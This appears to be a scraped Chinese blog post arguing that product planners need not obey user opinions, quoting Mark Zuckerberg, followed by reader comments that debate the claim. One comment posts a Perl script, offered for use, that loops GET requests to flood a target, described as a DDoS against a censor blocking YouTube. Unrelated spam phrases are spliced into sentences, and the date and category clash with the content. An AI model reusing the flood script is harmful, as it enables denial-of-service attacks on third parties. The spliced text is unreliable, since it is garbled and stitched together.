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Facebook听从用户的意见很愚蠢

2019年04月11日 栏目:汽车

Facebook近的改版,尤其是类似Twitter实时更新用户状态的功能,受到了大量用户的抵制与反对,Facebook CEO马克.扎克博

Facebook近的改版,尤其是类似Twitter实时更新用户状态的功能,受到了大量用户的抵制与反对,Facebook CEO马克.扎克博格(Mark Zuckerberg)在写给员工的邮件中,针对新版面的批评意见表示: 大多数颠覆性公司不会被用户的意见所左右。 此外,他还暗讽那些 听从用户意见的公司很愚蠢 。

从这里引出一个值得我们讨论的问题,产品的规划师到底该不该听从 用户的意见 。

对于传统的软件产业来说,这个问题根本不算是个问题,传统的软件开发具有明确和规范的项目管理和产品开发的流程体系,从需求、规划到研发都有相应的管理流程,在需求阶段,需求规划师会搜集各类用户的需求,对于所有的需求进行一个全面评估,有些需求是合理的,有些需求就未必,用户的需求是否被采用,决定权不是用户,而是需求规划师。

用户的意见到底该不该听呢?从知识结构和业务水平上讲24小时捕鱼游戏客服
,用户仅仅是业余水准,和专业的规划师水平有天壤之别,用户的意见可以用来做参考,但规划设计却不应该一味听从用户的意见,那样必将对产品的设计造成 硬伤 ,使得整个产品无法上升到一个新的高度。规划师应该站在一个全局的高度,从根本上把握用户的真正需求,基于对顾客和市场的分析,设计出一个初的产品原型,引导用户向更高层次发展,同时充分考虑产品在市场上的价格性能比和商业受欢迎程度,进一步完善产品的设计。

之后,就进入项目计划制定阶段,在进行产品预研和立项之前应该做好充分的调研工作,分析目标市场和各种资源条件,确定自己是否能够达到目标。产品经理会在产品立项之初,对产品的范围进行定义。将整体需求分配到各个研发项目组上。产品研发一旦开始以后,就应该避免各种需求变更了。这时候如果再变更需求,则会对研发产生种种麻烦。

对于Facebook这种大型产品来说,如果严格采用传统的软件开发模式,则产品对于用户新需求的响应速度会非常慢,这并不是一个好的互联开发模式,产品设计和规划应该更为灵活,并对用户的反馈快速反应。但是站在产品规划设计的角度来看,规划设计师的确也不应该一味听从用户意见,这样会被用户牵着鼻子走,变成外行领导内行。用户的思维方式往往是从自身利益出发,缺乏大局观,没有全面的从战略角度考虑问题的意识,规划设计师正好可以高屋建瓴,从用户的反馈中挖掘深层次的需求,更全面的进行规划设计,毕竟,设计师比用户更理解这个产品的内涵。

因此,Facebook的CEO说的不错,产品规划设计不应该听从用户的意见,那些听从用户意见的公司是愚蠢,产品设计师不应该妄自菲薄,将自己的层次降低到用户那样的业余水准,而应该引导用户逐步习惯新的专业水准设计规划。设计师对待用户的意见应该是分析、提炼、挖掘和改造,而不是一味听从。

这样的话题很容易被人误解。但是,如果仔细研究过这几年诺基亚、飞利浦这些等其他行业的领头羊兼创新者的发展文章,就会发现他们在用户体验方面的发展模式更加有效。月光这篇文章的观点并没有错误。

2009/3/25 21:45:33 支持(9)反对(4) 回复

明白你的意思, 只是

产品规划设计不应该听从用户的意见,那些听从用户意见的公司是愚蠢

這句話用詞不太準確, 加一個字可能會好一點:

产品规划设计不应该 只 听从用户的意见,那些 只 听从用户意见的公司是愚蠢的

2009/4/2 0:56:36 支持(14)反对(9) 回复

由于XXX使用干扰DNS解析、断开(非重置)所有到YouTube链接的方式来屏蔽YouTube,故更新到新版DDOS XXX的Perl脚本,欢迎使用!

#!/usr/bin/perl

use LWP::UserAgent;

while(TRUE){

my $ua=LWP::UserAgent- new();

$ua- timeout(0.005);

my $url = '';

my $request=HTTP::Request- new(GET= $url);

my $response=$ua- request($request);

if($response- is_success) {

print OK!

break;

}

}

2009/3/25 17:29:08 支持(8)反对(4) 回复

留言的不少是盲目跟风毫无主见的人,月光的这篇文章我实在不敢恭维。

今天看了马化腾的访谈,他整片文章的核心就是用户体验。腾讯为什么能够成为中国互联的老大,大家开骂之余还是静下心来好好琢磨琢磨吧

2009/3/26 11:26:33 支持(7)反对(4) 回复

听取客户的需求,而不是他的解决方案。

也许业务的客户会提出一个技术上很愚蠢的方案,但是它的背后必然有一个很合理的需求。

就像一本书中所说:100年前,要快速安全的从美国东海岸去西海岸,我会乘马车,并随身带上猎枪;现在,为了同样的目的,我会坐飞机,并且把枪留在家里。需求很少变化,但是解决方式会随着技术发展随身改变。

2009/3/25 10:36:27 支持(8)反对(8) 回复

我觉得这倒是未必

用户提出来的很多要求可能很幼稚

也确实需要一个“教育用户”的过程

但是,

再幼稚的需求,可能背后也隐含了有价值的东西

如果产品设计师脑海里有“不需要用户的意见”这么一条

那就麻烦了

就吸取不到来自用户的反哺的营养了

2009/3/25 10:52:22 支持(8)反对(8) 回复

从知识结果和业务水平上讲,用户仅仅是业余水准,和专业的规划师水平有天壤之别,

===============

这个出发点恐怕值得商榷

用户的水平的确不高

但他/她是用户氧化铝棒

水平不高的用户是大多数

规划师的水平很高,但多只能代表高端用户

来自高端用户的改进意见往往是很小众的

简单的说,这个样本对于总体的代表性可能很差

所以,单靠规划师队伍就能搞好一个产品?值得怀疑。

远的不说,个人觉得微软这个阶段推出的Vista和IE8就很差劲

可能与此有关

2009/3/25 10:56:53 支持(6)反对(6) 回复

什么是用户需求?假如月光每天有50000个用户访问,突然有一天有个用户说界面不够好看,月光就得改版吗?49999位用户可能都不会愿意的。

用户需求是满足大部分用户的需求,而不是满足小部分用户的需求,小部分用户不满意宁可他们离开。

2009/3/28 20:44:37 支持(6)反对(6) 回复

重点应该在于这句话……“用户需求往往出于自身利益”。

而产品规划是需要考虑大局及产品本身的定位的,更甚者还要考虑到后期的开发成本等等…… 所以之所以叫产品规划,不是说完全不理用户需求上海保姆公司
。而是分析用户需求,然后视情况来规划如何处理这些问题.

2009/4/2 13:31:20 支持(7)反对(7) 回复

话语前后矛盾,既然说:“听从用户的需求很愚蠢”,那你干嘛还要让规划师找出:“用户的需求”、

用户说出自己的需求,规划师找出用户的需求,没有矛盾。但是,却不听从用户的需求,就是不准备满足用户的需求,那规划师找出用户的需求干什么?这种状况,博主还说英明?多此一举,自作明聪

2009/3/27 3:33:20 支持(6)反对(7) 回复

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